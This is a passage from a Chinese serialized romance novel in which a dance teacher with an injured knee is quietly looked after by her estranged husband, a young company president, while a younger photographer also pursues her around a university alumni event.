有一个女人拿着一个病历单,怒气冲冲地站在前台,冲着坐在休息区看热闹的家长,喋喋不休道:“我孩子舞蹈课受伤,就是上这个陶老师的课上的,现在报告出来了,孩子左腿韧带撕裂!这种无良机构,无良老师,大家还放心把孩子放在这里吗?还是赶紧退费吧!”
被指责的陶老师坐在前台,脸色涨红。
旁边的老板不停地和那个女人说着什么,但几次三番都被那个女人打断。
姜早蹙眉。
姜早走到陶老师旁边,问:“怎么了?”
陶老师脸色难看道:“她就是我刚刚跟你说的那个家长,她说孩子左腿韧带撕裂了,绝对和我没关系,我那节课都没练腿,唯一连接到腿的就是一个启蒙班基础的青蛙趴,那也是练胯的,怎么可能左腿韧带撕裂。”
姜早点头,神色凝重起来。
这些专业性的解释,和对舞蹈一窍不通的人是解释不了的,反而会被认为是强词夺理。
就像韧带撕裂这个医学术语,其实崴脚就会韧带撕裂,时间久了自己就会好,但对于医学一窍不通的其他人来说,听起来就像是受了很重的腿伤。
周围的家长虽然都坐在休息区,没有围过来,但视线都关注着这里,神色也不太好。
老板是个行外人,平时说话一向温声细语和讨好人,在家长面前再多解释,都低一分气势,反而让人看得像理亏一样。
姜早想了想,上前道:“这位家长,片子能不能给我看一眼。”
“给你就给你。”说完这话,她将报告塞到她手里,“好好看看吧!”
姜早仔细看了一眼,确实是左腿韧带撕裂没错:“据我所知,孩子的痛感很敏感,动作也会最先反映出来,可是上完舞蹈课当天,孩子是蹦蹦跳跳出来的,没有迹象显示韧带撕裂。”
那家长气势汹汹道:“狡辩什么?我孩子练完说疼,老板当时在旁边也听到了啊,你不信问老板。”
“韧带撕裂是一瞬间的事情,如果真的是当时韧带撕裂发生的疼,不可能毫无异常的走出教室,当时说的疼,大概是孩子觉得酸。如果您觉得我说的不对,可以问医生,这些话说的对不对。”姜早安抚着,“这样吧,先去我们休息室坐一会儿。”
那家长不吃这套,推了她一把:“有什么事,就在这里说明白!进里面去干嘛!”
姜早跌在地上,膝盖传来了一丝刺骨的痛意。
50. 第 50 章
教室里的几个孩子听到动静,挡在姜早面前。
场面终于静了下来。
没有一个成年人喜欢在孩子面前出洋相。
那名家长总算接受了到休息室沟通。
沟通的事交给了老板,姜早依旧是回去上课,出来后才得知这就是一个乌龙。
老板和那名家长在休息室聊到一半,孩子奶奶打电话过来,说昨天隔壁王奶奶看到她家孩子想给其他孩子展示一字马,不小心滑了一跤,走回家的时候已经一瘸一拐的了。
家长也是个明事理的,知道是误会之后,在门口当着其他人和机构道歉。
看到姜早从教室扶着墙走出来,心有愧疚的问她有没有事。
“没事,腿本来就有旧伤。”姜早温和的笑着,轻轻说。
她坐到休息区,竟还有一丝庆幸,好在今天没有苹果的课,不然这么难堪的场面就要被他看到了。
她戳了戳自己的腿,轻叹了口气,指责道:“都这么久了,你怎么还是这么容易受伤。”
老板和陶老师也凑过来问:“真的没事吗?要不要去检查一下?”
他们知道姜早的职业坚持。
服务者是不会向被服务者索要什么的,不体面。
她要体面,也要尊严。
姜早不知他们心中所想,扶着墙踉跄了一步站起来,嘴硬道:“老毛病了,总容易复发,过段时间就好了。”
夜的路,长长又漫漫,一步又一步,踉踉跄跄。
她也没走多久,走到机构楼下便已经累了,不得不承认,腿不方便真的很影响自己。
好在路上没什么人,她不用在意别人一样的眼光。
就这么走到了斑马线,她扶着红绿灯的杆子,正打算休息一会儿。
抬头,看见了马路对面的沈淮。
红绿灯恰在这时候绿了。
他们都没有动。
街边的路灯,在地上晕染着橘黄色的光。
姜早收回扶在杆子上的手,下意识退后了一步。
沈淮在这时候,大步的往前迈了过来,风卷起风衣的衣角,毫不迟疑,坚定地往前走。
“冷不冷。”沈淮从怀里掏出个烤红薯,递过来道,“热的。”
远处,卖红薯的老伯看着远处的两道身影,轻轻笑了。
正在买烤红薯的人好奇问:“老伯,你笑什么?”
卖红薯的爷爷收回目光,将炉子里烤的焦黄的红薯夹起来,包到包装袋里递过去:“刚刚有个年轻人在这里站了很久,我问他是不是要买红薯,他说是,但要等一会儿做,怕他夫人下班出来凉了。”
姜早看着正在冒着热气的红薯,停顿了一会,抬头看他。
那双眸子乌黑,像是夜晚漫长无垠的夜。
她小心的移开目光,凝视着那双手,看了一会儿才接过:“谢谢。”
冷寂的晚上,手里有了温度,心也跟着有了暖意。
沈淮的车停在马路对面。
她咬牙跟着走了几步,撑不住了停在原地,逞强道:“我走得比较慢,你走在前面吧。”
沈淮静了静:“好。”
姜早松了口气,她知道这句话很奇怪,好在沈淮并没有发现。
马路上,倒映着的两道影子,一长一短,其中一个还走的歪歪扭扭。
沈淮看着地上的影子,脚下放慢了速度。
马路上没有可以提供支撑的支撑物,姜早想要维持正常姿势走路,很吃力,即使再怎么努力,都是一瘸一拐的。
好不容易要走完斑马线,光影交错下的台阶看起来实在太暗,她一个没注意,踉跄了一步跌在地上。
“嘶。”她半跪在地上,手急忙按在地上,想要撑地站起来。
耳边除了风声,还听到了一阵轻轻的叹气声。
抬头,就见那道身影转过了身,上前两步将她拦腰抱起。
“我没事,就是不小心摔了一跤,把我放下来吧。”姜早感受到悬空感,手下意识揽过他的脖颈。
“嗯。”沈淮语气沾染了一丝无奈,接着道,“我知道。”
即使这么说,他仍然接着往前走,并没有将手里的人放下来。
“把我放下来,沈淮。”她望着远处掉在地上的烤红薯,补了一句,“烤红薯掉了。”
沈淮这才停下来:“那重新买一个。”
“就要那个。”她望着那个红薯,补了一句,“塑料袋包着的,没脏,扔掉多可惜。”
沈淮点头,将她放下来:“你站在这里别动,我去捡回来。”
姜早回绝的话还没说出口,沈淮已经跑了出去。
她突然有种莫名的感觉,说不出到底是什么。
“小姑娘,你男朋友一定很喜欢你吧,对你可真好。”
她听到有人这么说道。
侧头一看,是一个推车卖红薯的老伯伯,案板上的炉子还冒着烟,冬日看着暖洋洋的。
她不解:“为什么这么说?”
老伯伯笑盈盈道:“当然是看出来的。”
“麻烦帮我再烤一个红薯。”
身后有人道。
姜早认出了声音,回头看他,有些不满道:“不是说了吗,不要浪费。”
“没浪费。”沈淮递过钱给老伯伯,“刚刚掉在地上的我吃,另一个给你。”
姜早看着那只手上提的袋子,微怔。
扭过头,突如其来的别扭,低声望着地面喃喃:“我要吃刚刚那个。”
那声音很轻,很静,融合在夜色和这暖炉吹起的袅袅熏烟里,让人很难察觉。
“好,那两个都给你。”沈淮说。
闻言,她抬头,袅袅熏烟里,他的眼神带着如同炉子一般的温暖。
不过片刻,便让她恍惚的想。
那道只有她的视线中,会不会有喜欢的出现。
老伯将钱投进塑料碗里,笑着将新鲜的红薯放到炉子里:“好嘞!一个红薯马上烤好~”
一会儿过后。
姜早拿好两个红薯,下意识往前走了一步,身子斜了斜,才想起来膝盖受的伤没办法正常行走,左腿立马跟到旁边,才勉强稳定住身体。
她担心的看过去,看他神色没什么不对,才松了口气:“你走前面吧。”
这么说完,沈淮却没动。
只留他们面面相觑。
老伯在旁边道:“小姑娘,你腿受伤了就让男朋友背你嘛,不要紧的。”
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姜早有些狼狈道:“不是的,伯伯,我腿没什么事...”
话语还没落下,站在前面的沈淮背过身蹲下:“上来吧。”
姜早攥着塑料袋的手紧了紧:“不用,我真的没事。”
“你刚刚走的一瘸一拐的,哪里像没事的样子,伤筋动骨一百天啊小姑娘,你这可得好好休息,有人背就别走路了。”老伯在旁边道。
“你误会了,伯伯,我真的没事...”她说这话的声音越来越轻,最后消失到无声。
夜幕下,独属于路灯落下的暖光落在沈淮的背上,一丝不动。
她禁声,顺从地攀上沈淮的背,勾住沈淮的脖子。
沈淮站了起来,往路前走。
姜早想刻意保持点距离,可是这种姿势只能贴的很紧,便不再乱动,勾住沈淮的脖子。
“沈淮。”
“嗯。”他轻道。
“我真的没事。”她说。
沈淮望着前方的路,听着她接着扯谎,语气半哄:“嗯,知道了。”
那道身影走的慢慢又缓缓,夜色将影子拉的很长。
卖红薯的老伯收回目光,晃了晃手里的扇子,将红薯的香味散在这夜色中。
“卖红薯~”
寒冷的冬夜,车流覆盖着薄雾在街头行驶着,车头灯还残留着白天下过的雨,每一束光都温暖、坚定,引领者回家的方向。
姜早隔着玻璃窗,看着愈来愈陌生的路,问:“去哪里?”
沈淮说:“医院。”
“我不去医院。”姜早马上接道。
她现在才意识到,沈淮早就戳破她谎言了。难怪这条路,越开越陌生。
沈淮说:“就是去做个检查,不打针。”
似有一种自己的秘密被解开的感觉,姜早心虚的别过头:“我不是怕打针。”
“我知道。”沈淮嘴上这么说,手打着方向盘,还是开到了去医院的路上。
“沈淮。”姜早有些不满他哄三岁小孩一样哄自己,认真指出,“你开错路了。”
“没开错,只是绕了一段路。”沈淮说。
半个小时后。
沈淮绕车一圈,打开副驾驶的车门,望着里面的人。
姜早拽着自己的保险带,死死不放。
“就去做个检查。”沈淮探身,伸过手要帮她解开安全带。
姜早慌了。
要是保险带打开了,她就算再怎么不肯下车,也会被他抱进医院。
她不解,沈淮什么时候这么喜欢抱人了。
她真的很讨厌去医院。
就和小时候跟着爸妈去医院一样,明明去之前再三保证只是去配药,可最后的最后总是要抽血或者是打针的。
这些回忆,牵连了她对医院的印象,总觉得这是个很不好的地方。
她一急,按住沈淮伸过来的手。
“我想回家”她软下声音,央求道。
沈淮的手滞在原地,不再动作。
车里很黑,她们靠的很近,呼吸交织,有不易察觉的暧昧在四周散开。姜早没有察觉,以为沈淮不同意,再次开口:“沈淮...”
“好。”沈淮睨着她的黑眸,终于妥协。
51. 第 51 章
那天回去的晚,家里其他两个人已经睡着了,只剩下猫还醒着。
门一打开就绕在他们脚边,喵喵喵地叫着。
沈淮不知从哪里找来了一个药箱,给她简单的处理了一下。
她不敢喊痛,怕下一秒就被带到医院。
好在,那涂药的力道很轻。
红薯被一分为二,在空中散着热意。
两双眸子对上,周围静静地。
姜早递过半个红薯:“热的。”
沈淮点头,用湿巾擦完手,伸手接过那个红薯。
不知是有意还是不小心,他故意碰到她抓红薯的地方,就这么握住。
那手是潮湿的,湿巾上的水还未散去。
姜早被那冷意惊了一下,睫毛轻颤后,慢慢抬眸。
他没有放手,眼里倒映的是她不解的眸子。
“分你一半。”姜早抽回手,转身拿起手机接着道,“今天辛苦你了。”
为了甩掉脑海里乱七八糟的画面,她打开了硕导给她发过来的文档。
自从顶尖计划拿了第一,硕导经常联系她参加校内活动。
这次是优秀校友分享会。
从前都是当听众,这次要站上台,是一个很大的挑战。
她从来没写过发言稿,到底该怎么写还需要有些参考。
最为便捷的方法就是转个头,问一下上次发言过的沈淮。
但她不想问他。
为了成全自己的别扭,只能埋头自己琢磨。
一旁的沈淮坐在沙发上,边看姜早,边吃红薯。
电话铃响了,他走到一旁接电话。
“小沈总。”电话那头是陆特助。
沈淮收回目光,看向窗外:“嗯,什么事。”
“江大通过邮箱联系您,想邀请您再参加一次优秀校友分享会。”陆特助提醒道,“您这次在媒体露脸了,院长那边觉得,既然大家都知道您是沈氏集团新任总裁的身份了,那就以优秀企业家的身份再去一趟分享会,给学弟学妹分享一些经验。”
“我不去...”沈淮推开窗,让红薯的味道散掉些,万一苹果等会跑出来,闻到味道,肯定要问怎么不给她带了。
“院长邮件里提到,姜早,姜女士也去。”陆特助打断道。
沈淮关窗的手微滞,回头看了一眼身后忙碌看视频的人。
静默了一会儿。
“知道了。”
挂断电话,新的短信发了过来。
是一份邀请函,有时间和地点。
他坐回沙发上,等着姜早提问。
可是迟迟没有等来她的抬眸。
他起身去茶几边倒水。
身后的沙发终于有了动静。
“向北辰,你那边有没有学校分享会拍摄的存档啊?”那声音轻轻的,似乎怕人发现一样。
沈淮握着水壶的手微滞。
姜早回头望了一眼,侧身用更小的声音道:“那你方便发我一份吗?”
论坛上上传的视频,都是座位席上同学拍的,画面很抖,声音也听起来很杂乱,根本听不清台上人的发言。
上官网搜,也只能搜到关于分享会的宣传片,不完全。
没办法,只能和向北辰求助。
她记得向北辰有参与过分享会的拍摄。
一个活动,都是认识的人。他是摄影系的,肯定和录影的人认识。
“嗯,谢谢。”得到肯定的答案后,姜早就想挂电话,谁知道电话那头的向北辰越聊越起劲,丝毫没有挂电话的打算,她也不好直接挂了他的电话。
就这么一直聊了很久,身后突然一个玻璃杯掉在了地上。
电话里还在滔滔不绝的向北辰停了下来,狐疑的问:“什么声音?”
姜早回头望过去,茶几边的空地上,玻璃杯碎在地上,里面的水撒了一地,沈淮蹲下捡,手被玻璃划出了血。
“没什么,我还有点事,先挂电话了。”姜早匆匆挂断电话,手扶着沙发走过去。
“不是有扫帚吗?你别直接用手捡。”姜早拿起墙边的簸箕和扫帚,“走开,我来扫。”
沈淮静静退到一边,神色幽黑,视线与姜早接触的时候,又转而变得澄澈。
姜早抬手,将玻璃碎渣全倒进垃圾桶里,处理完后拽过沈淮的胳膊,一瘸一拐的将他拉到沙发上。
打开桌上的医药箱,拿出里面的碘伏和棉签。
低头认真的给他擦拭。
沈淮低眸,静静地看着。
姜早不小心用重了力气,慌道:“疼吗?”
“不疼。”沈淮说。
她的力道慢又缓,像是挠痒。这是他受伤这么多次以来,最不疼的处理过程。
记忆中,父母不喜欢他受伤,受伤后会冷声质问他,为什么会受伤。
他不想惹父母不开心,所以总会自己偷偷处理伤口。
因为总处理不好,他还以为。
处理伤口,就是这么疼的。原来,还有另一种方式。
“不疼就好。”姜早不知道他在想什么,听完他说的,只是庆幸了一下。低下头,更为小心地帮他处理。
夜晚回了床,姜早左右翻来覆去睡不着,看着天花板时,恍惚回到了从前,仿佛他们从未争吵过。
这几天下来,她甚至开始怀疑,自己比他多了一段记忆。
她侧身望着空空荡荡的床头柜,离婚协议不知道被放哪里了,一直找不到。
这么想着,便朝床下问:“离婚协议你放哪了?”
这几天为了防止小苹果妈妈发现异常,他们一直睡一个房间。
她睡床上,沈淮睡床下。
她有问过沈淮,要不要睡在床上,可以中间分一个三八线。
沈淮说不用。
她便随他去了。
没听到床下的回应,她挤到床边,低头一看,沈淮闭着眼,好像已经睡着了。
她抿唇,仰头看着天花板。
那便下次再问,反正最近也不急。
苹果妈妈在这里,她不可能直接走,肯定还是要相处一段时间的,低头不见抬头见的,离婚后还住在一起也尴尬,等到走了之后再提也不迟。
她这么想着,闭眼睡了过去。
听到均匀呼吸后,沈淮翻了个身,慢慢睁开眼,眸色渐浓。
一周后,校友分享会在江大召开。
姜早下了车便想走
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,忽然听到的身后关车门的声音,才看到沈淮也下车了。
这几天沈淮对他很照顾,几乎是任何时候都车接车送,还会扶着她走。
机构里她已经无所谓了,反正大家都知道,最多让他在人走的差不多之后再进来。
学校里,她还是格外注意的,只让他停在校门外,她走的慢一点也能进去。
见他下来了,姜早连忙道:“你快回去吧,我已经好的差不多了,不用陪我进去。”她对骨伤轻车熟路,修养几天肯定就好了,眼下虽然没有完全好,正常走路是没问题了。
话说完,沈淮已经走到了旁边。
他说:“我也参加这次活动。”
姜早哑然。
硕导没说沈淮也来啊。
更何况,他不是几个月前就上过一次江大的分享会了吗?
正在苦恼之际,看到向北辰和朋友搬着一块展牌过来。
上面印着大大的两个名字,一个是沈淮,一个是姜早自己。
“哎,学姐?”向北辰发现了她,匆匆和朋友说了几句之后,将展板直接交了出去,自己跑到姜早面前,道,“怎么这么早过来了?离分享会还有很长一段时间呢。”
姜早收回放在展板上的目光,解释道:“我不太熟悉走场,想提前来彩排一下,怕到时候紧张。”
“我知道怎么走场,流程主任都告诉过我,我带你走一遍吧。”向北辰道。
姜早正好心里没底,闻言高兴地点点头道:“好啊!”
向北辰领着姜早往前走,忽然想到身后还有一个人,回过头打了声招呼:“学长,休息室有沙发,你来的早,去休息室休息一会吧。”
说完,转头便走了,很干脆。
沈淮凝视着那两道背影,眸底的暗更深。
他拿起电话打了出去。
“不是让你多给向北辰安排工作么?”他收回目光,接着道,“他怎么会在江大。”
“他说江大有个活动需要他拍摄,我觉得这也算一个工作,就放他去了。”陆特助犹豫了一下,感觉到一丝不对,问道,“是有什么问题吗,小沈总?”
沈淮轻叹了口气,半响后才开口:“算了,没事。”
走入场馆,他坐在观众席的最后一排,很不起眼的一个小角落。
台上的两人有说有笑,似乎并没有发现他的存在。
门口有两道女声一直在聊天,只是他一直没听清。
直到听到了熟悉的名字,他才幽幽的转过头去。
“还没见过姜早笑的这么开心呢。”木奈刚刚才到,看到台上两人亲密的互动,在门口就停了下来,掏出手机留念。
“估计是喜欢的男孩子吧,我之前看姜早一直和这个摄影系的男生关系不错。”同宿舍的室友掩唇笑道。
木奈奈看着手机里的照片,认可地点点头,无意中转头的一瞬间,看到一张黢黑的脸,差点被吓了一跳。
眯着眼睛仔细一看,这不是沈淮学长吗?
多日不见...气色不太好...
她抬头看了一眼上面。
传言沈淮是姜早的表哥,表哥看到表妹和别的男生玩的高兴,是会不太高兴...也合理...
52. 第 52 章
分享会即将开始,姜早被安排在沈淮的旁边。
比起他的淡定自若,姜早要紧张的多。
她情不自禁摸了摸手腕上的木镯,这是出门的时候,小苹果送的。邪乎的说:紧张可以摸摸它,有安神的魔力。
刚开始她是不信的,但自从戴上后,心情真的没最开始那么紧张了。她这才开始注意手上那只木镯。
木镯看起来是红木做的,上面的雕花很精致,但除此之外看起来就是一只普通的镯子。
一个普通的镯子,竟然有这么神奇的功效,回去一定要向小苹果问问在哪里买的。
太好用了。
主持人在上面隆重的介绍今天到场的优秀校友,一位是国内顶尖舞者,一位是青年企业家,沈氏集团新任总裁。
听到这里,姜早侧头看了一眼旁边,微微有些震惊。
甚至在想,也许还有另一位嘉宾。
紧接着大屏幕放出了沈淮和她的照片。
这才知道,沈淮原来是沈氏集团新任总裁。
周围没有人又讶异的神色,仿佛早就知道一般。
她不太关注财经方面的新闻,但在京城呆久了,隐约听说过这个名字。
是一个很厉害的公司。
突然得知一个身边的人有另一重身份,心情应该是生气的,也许该指着他、质问他,为什么隐瞒自己。
但是这个人是沈淮的话,好像一切都在情理之中,她没有生气,只有一点震惊,仅此而已。
他本来就是很厉害的人。
沈淮一开始在她心里就高高挂着,即使后面又添了一层身份,也都是仰视,没什么不同。
像这样身份的人,应该对身边人都很提防吧,怕别人带有意图接近自己。
沈淮与她的眸子对上。
“原来你还是青年企业家。”姜早没隐藏自己刚知道这件事,随口敷衍了一句,“很厉害。”
说完,她便望向了台上。
沈淮张开的嘴又合上,不明白自己刚刚做错了什么。
姜早将注意力放到台上,主持人只要提到她的名字,就该上去了
似和台上主持人有心灵感应一般,下一秒他便喊到了自己的名字。
“接下来,让我们先请出江大舞蹈系硕士,国内顶尖舞者姜早!”
沈淮从口袋里掏出棒棒糖,往旁边递。
下一秒身边的人站起来,直接从他身边走过。
他又默默将糖放回了口袋。
第二排的中间,是一个极好的位置。
将一切尽收眼底的木奈奈摸了摸下巴。
口中喃喃:“怎么总觉得怪怪的呢。”
旁边的室友正举着手机拍照,这个有纪念意义的时刻,必须要拍下来,这可是她们寝室的人!
闻言,她问:“你说什么呢?什么怪怪的?”
木奈奈咂嘴:“没事,应该是我想多了。”
她举起手机:“快!多给早早拍点照片!她今天穿的也太好看了。”
室友放大手里的照片,打量姜早手上戴着的镯子,蹙眉道:“怎么这么像佩里克烈罗老师设计的手镯?”
“什么什么罗?”木奈奈第一次听到这么绕口的名字。
“一个国外有名的珠宝设计师。”室友放大那只镯子,接着道,“前几天他在国内开了场拍卖会,宣传图上有这只红木手镯,起拍价100w。”
“100w还只是起拍价?”木奈奈被吸引了注意力,“一个木头做的镯子能卖的这么贵?”
“你可别小瞧那个木镯。”室友解释道,“它名叫镇心镯,用的是百年难遇的红木材,木头里面融合了很多安神的药材,用工艺将它打造成镯子,能让佩戴者在戴上后镇心安神。”
“这么神奇。”木奈奈没再搭理,直截了当的补了一句,“那你放心吧,早早应该是地摊上买到好的高仿了。”
以她对姜早的了解,是不会花这么多钱在首饰上。
上次她看到早早戴的一款钻石项链,也和真的一样,早早说是在地摊上买的没多少钱。
估计这次也和上次一样吧。
“不会吧,我不会看错的。”室友狐疑的看过去。
木奈奈拍了拍她的肩膀道:“你最近设计稿画多了吧?多注意休息,劳逸结合。”她们这位室友是学珠宝设计的,入学时,分到最卷的硕导,自从和她同宿舍,每天都能看到她开着小夜灯研究设计稿。
木奈奈十分自觉将那番话归类于:学傻了出现的幻觉。
室友眯着眼睛远眺那件衣服,总觉得自己没看错,但以姜早的性格,确实不会买这么贵的手饰。
她打开聊天软件,截了姜早手上的那只木镯发给朋友:高仿都比我们设计的好。
没多久,手机收到了回复。
室友随手打开,瞪大眼睛。
朋友的回复:这好像就是真品!
紧接着页面十几条刷屏,放大的图用红色圈出细节,还抛出了之前拍卖会的宣传图,进行对比。
朋友在那边发:是不是姓沈的戴的?前几天拍卖会我去观摩了,拍下这个手镯的人姓沈,只不过买主没来,是助理拍的,我不知道长什么样。
室友放下手机,叮叮咚咚的她没再接着看下去。
而是默默的将视线对到了第一排。
沈...现场真有个姓沈的,还是沈家少爷。
不会是沈淮吧...
她靠在椅背上,蹙眉道:“怎么好像怪怪的。”
木奈奈正用手机对焦着前面发言的姜早,果然大舞台锻炼人,上这种小场面,姜早随随便便就能掌控,刚开始看得出有些紧张,后面越说越放松,落落大方。这种人竟然是她的朋友,真是太骄傲了。
她正在找姜早最好看的角度,闻言,头都没转过去:“什么怪怪的。”
室友深吸了一口气,慢慢道:“没什么,应该是我想多了。”
听到这句话。
木奈奈的视线微移,朝她看过去。
“早早真好看啊!”室友拿起手机,又开始疯狂拍照。
木奈奈怀疑自己想太多,回过头接话道:“是啊!太好看了!”
台上的姜早讲完最后的词终于松了口气。
主持人从旁边走上来,开始流程化的说一些优美的句子。
姜早记得,这一段应该轮到了自己下场,乐滋滋地拎起裙摆下楼梯。
如果说,刚开始她很满意主办方的安排是因为贴心,现在最不满意的
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地方也是贴心。
非要她穿长裙和高跟鞋上台...
好看是好看,只不过她膝盖没完全恢复好,穿着高跟鞋膝盖受力,还是会有些影响,她在台上就有些难以支撑了。
好在那演讲台可以借力,不然她根本站不了那么久。
走到下台的地方,话筒里正宣布沈淮上台。
聚光灯打在了台上,下台的楼梯一下子就变得很黑。
姜早正拎着裙子往下走,一个没留神,往旁边跌去,意料中的痛感没有出现,转而跌进了一个怀里。
闻到熟悉的味道,她不用抬头便知道,这人是沈淮。
他上台的地方应该是另一边,怎么到这边来了。
“小心走。”他的话很轻,带了几分谴责。
好在这里很黑,应该不至于立刻让人发现这里的动静。
坐在第二排的木奈奈和室友,不约而同的嘶了一声,微愣后,面面相觑。
分享会结束后,姜早没有直接走。
学校给她送了饭票,便留在这里吃了。
本来约好了和朋友一起去食堂,没想到沈淮和向北辰也要一起。
走到半路,向北辰被一通电话叫走了,说是公司有急事,最后变成了他们四个一起去食堂。
打好饭后,四个人坐在一张饭桌上,整个气氛都很怪异。
为了缓解尴尬,木奈奈扒拉了两口饭之后想聊个大家都知道的话题:“哎?最近好久都没有江婷学姐的消息了,沈淮学长知道她去哪里了吗?”
“不知道。”沈淮淡淡道,“不太熟。”
姜早夹着梅干菜扣肉的手微顿,半响才接着扒拉一口饭。
饭桌陷入了死一般的寂静,甚至比方才的氛围更古怪了一些。
“这样啊...”木奈奈艰难的咽下嘴里的饭,干笑两声乖乖闭上嘴,顺带捅了捅旁边的室友。
室友正埋头苦吃,被拱了拱,手里的菜跌了下去,她吸了吸鼻子,轻咳了两声:“哎?早早,你的木镯好精致,哪里买的?”
姜早坦言道:“小朋友送的,是还挺好看的,我到时候帮你问问。”反正她也要问。
“好啊好啊...”室友半信半疑的低头,不过如果是这样的话,应该不是...
“你喜欢么?”沈淮突然道。
室友猛地抬头。
隔壁木奈奈察觉她反应,小声问:“怎么了,你?”
室友又低下头,呆滞的往嘴里塞了口饭:“这菜挺好吃。”
木奈奈看着她。
明明吃的是白米饭...
姜早点头,没明白他为什么这么问,但还是如实道:“嗯,简简单单的挺好看的。”
“嗯。”沈淮低头,没再多说。
姜早回想起他送的那个大钻石项链,华而不实,戴着还要怕被偷。小苹果送的这个木镯,简单又好看,不知道比他送的好了多少倍。
说起来,她要是和沈淮离婚,就要离开小苹果了,还怪舍不得的。
正想着,突然饭上多了个鸡腿。
她错愕的抬头,沈淮似浑然不觉有什么不对一般,收回筷子,自顾自的吃自己的。
隔壁木奈奈嘴里叼着的鸡腿啪嗒一下,落到地上。
53. 第 53 章
校园的街头,同学们背着包侃侃而谈,追逐打闹。
青春道路总是人来人往。
大屏上,校园主持人正在播报最新天气,今天夜里会迎来京城的第一场大雪。
姜早闻声,在原地停下,仰头望着屏幕。
京城的冬天,总算要下雪了。
上一场大雪,是零八年。
她坐在房里写寒假作业,抬头见窗外白茫茫的一片,惊喜之余,苦苦哀求母亲下楼玩雪。
可惜,没有得到应允。
不过,她仍是开心。
做作业的位置在窗口,那次,她看了人生中最美的一场雪。
沈淮站在树下望她,电话里的人仍在孜孜不倦的汇报。
“换了吧。”他抬头望着大屏幕。
电话里的陆特助怀疑自己听错了:“什么?往年沈总不都在摩天大厦过生日吗?那边都已经准备好了。”
沈淮问:“有没有适合看雪景的地方?”
“有是有,京城有个吉天观景台,不过因为新闻播报下大雪,好的位置已经被选完了。”陆特助应道。
“嗯,没关系。”沈淮凝视那道背影,接着道,“定好,发我位置。”
“嗯...”陆特助应下来之后才反应过来,忙问道,“要不要通知一下沈总他们,毕竟您从来没换过过生日的地方,万一到时候...”
“不用。”不用特意提醒。
沈淮仰头望天,上一次大雪是零八年吧,真是难得。
静了好久后,他道,“他不会来。”
年年岁岁,岁岁年年。
从始至终,吃蛋糕的,只有他一个人罢了。
沈淮走过来时,姜早已经收回了思绪。
“走吧。”她说。
刚走两步,意识到后面那人没跟上来,她侧头不解:“怎么了?”
沈淮走到她身侧,静了一会儿后才问:“晚上你有事吗?”
姜早回想起最新的排课表,老板给她安排了一天休息,就是今天,她如实道:“没有,今天晚上没课。”
“今天会下大雪。”沈淮说。
姜早点头,不知他为什么突然提起这件事。
周遭静了又静,连风声都小了。
“我是说。”沈淮放缓了声音,认真地看她,视线中的清冷中带着询问和一丝小心,“要不要一起看雪。”
姜早望着那双眼,黑色的瞳仁微颤。
“嗯。”姜早移开视线,仰头望着天,“好久没下雪了,很难得。”
天还是黑黑的,乌云遮月,也不知道今晚会不会真的下雪。
旁边吵吵嚷嚷的一阵脚步声。
向北辰在姜早身边停下,后面还跟着几个朋友。
“学姐!今天晚上会下大雪,要不要跟我们一起去打雪仗!”
“你不是去公司了?”姜早道。
向北辰摆摆手道:“就是一些小碎活,我很快就做完了。”
姜早看了一眼沈淮,想了想道:“可是我...”
“学姐不会要拒绝我吧?”向北辰沮丧道,“上次你放了我鸽子,这次就当补上?”
他这么说道。
“人多热闹!学姐和我们一起去吧,还有好多女生呢!”
“对啊,一起。”
旁边几人叽叽喳喳。
“那好吧。”姜早有些扛不住压力,只好这么说,侧眸看到沈淮眸中的光一点一点暗淡下去,她补了一句道,“你要不要一起去。”
沈淮望着她。
记忆中一点点浮现出交流会开始前,听到的那一段对话。
姜早遇到向北辰才会这么开心。
今天是难得的大雪。
她能开心,很好。
“你们去吧。”沈淮说,“我晚上有事。”
姜早蹙眉,不解。
明明方才他还说要去看雪,怎么突然说晚上有事了。
不过也对。
沈淮一向不喜欢人多的地方。
他们就这么对视着。
不知各自心中的想法。
风吹的大了,路边的落叶被风扬起,摇摇晃晃着落下,寂寥的冬终于是要来了,天更冷了。
在喧闹中,他们分散。
她伴着热闹的人群越走越远,而沈淮转身独自走向了寂静的停车场。
走到一半,姜早突然顿住脚,轻轻回头,望着那道背影。
向北辰跟着停下来,问道:“怎么了,学姐?”
姜早看着他打开车门,坐进去,收回目光,摇了摇头,道:“没什么。”
她跟着人群继续走,耳边仍是吵吵嚷嚷,她时不时应下几句。
眼前突然出现一个棒棒糖,她的神思才慢慢聚拢收回。她仰头,看着向北辰。
“你今天分享会表现的这么好,怎么不开心?”向北辰趁她不注意,将棒棒糖放到她手里。
“我有不开心吗?”姜早问道。
向北辰指尖戳了戳她的眉心:“这里,是川字。不是不开心,是什么?”
“你看错了。”姜早反应过来后不着痕迹的往后退了退。
向北辰轻笑:“行,是我看错了。”
姜早接着往前走,看着白色包装的糖纸,问道:“什么味道的,怎么长得这么奇怪。”
“草莓。”他双手抱着头,跟在她身边。
姜早拨开糖纸,里面一颗淡粉色的圆球,放到嘴里真是草莓味的,她含在嘴里,有些惊奇道:“草莓味为什么会用白色包装纸包装?”
她的印象中,什么味道的糖,会匹配上对应的水果颜色。
向北辰得意的扬眉:“因为这糖是我做的,糖纸是我包的~”
姜早顿了片刻,诧异道:“你做的?”
向北辰得意地点点头,准备接受她的褒奖。
向北辰的几个朋友回过头,有些犯怵道:“向北辰简直毫无人性,就为了做这一颗糖,他把咱们几个当实验品,哥们几个现在看到糖都想吐。”
他现在回想起向北辰在那边捣鼓那个机器,就有些害怕。
谁大晚上在宿舍里做糖啊?
他们差点以为,向北辰最近上班上疯了,在那边熬毒药,要毒死上级。
向北辰虚踹了那同学一脚,那人才禁声。
他尴尬道:“别听他的,我就是最近突发奇想,想做点糖吃吃。”
前面几个人幽幽道。
“突发奇想,买个几万块的机器。”
“谁说不是,我进宿舍都不敢乱动,怕摔了机子被讹到破产。”
姜早望向向北辰,道:“很好吃。”
“真的吗?”向北辰眸子里很亮。
“嗯,可以做品牌了,一定有很多人喜欢。”姜早如实说。
向北辰停下来,望着那道背影,轻轻笑着。
不需要那么多人喜欢。
一个人喜欢就够了。
与此同时
办公室里。
几个摄影部的元老,聚在一起,望着那道长发背影。
“咱们单位,什么时候招女员工了?”
“没吧,我不记得。”
“她什么时候过来的?”
“不知道啊,我去食堂吃完饭,人就在这了。”
“这不是我们小向的位置吗
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?”
身后的人絮絮叨叨,向晨曦白了一眼,流利的拿起耳机往耳朵上一戴,世界终于安静了。
她阴暗的眼神看着满屏的表格,闭上眼睛深吸了一口气,心中默念:一千块,一千块,一千块。
她睁开眼,对着屏幕,一下子顺眼了很多。
一!千!块!
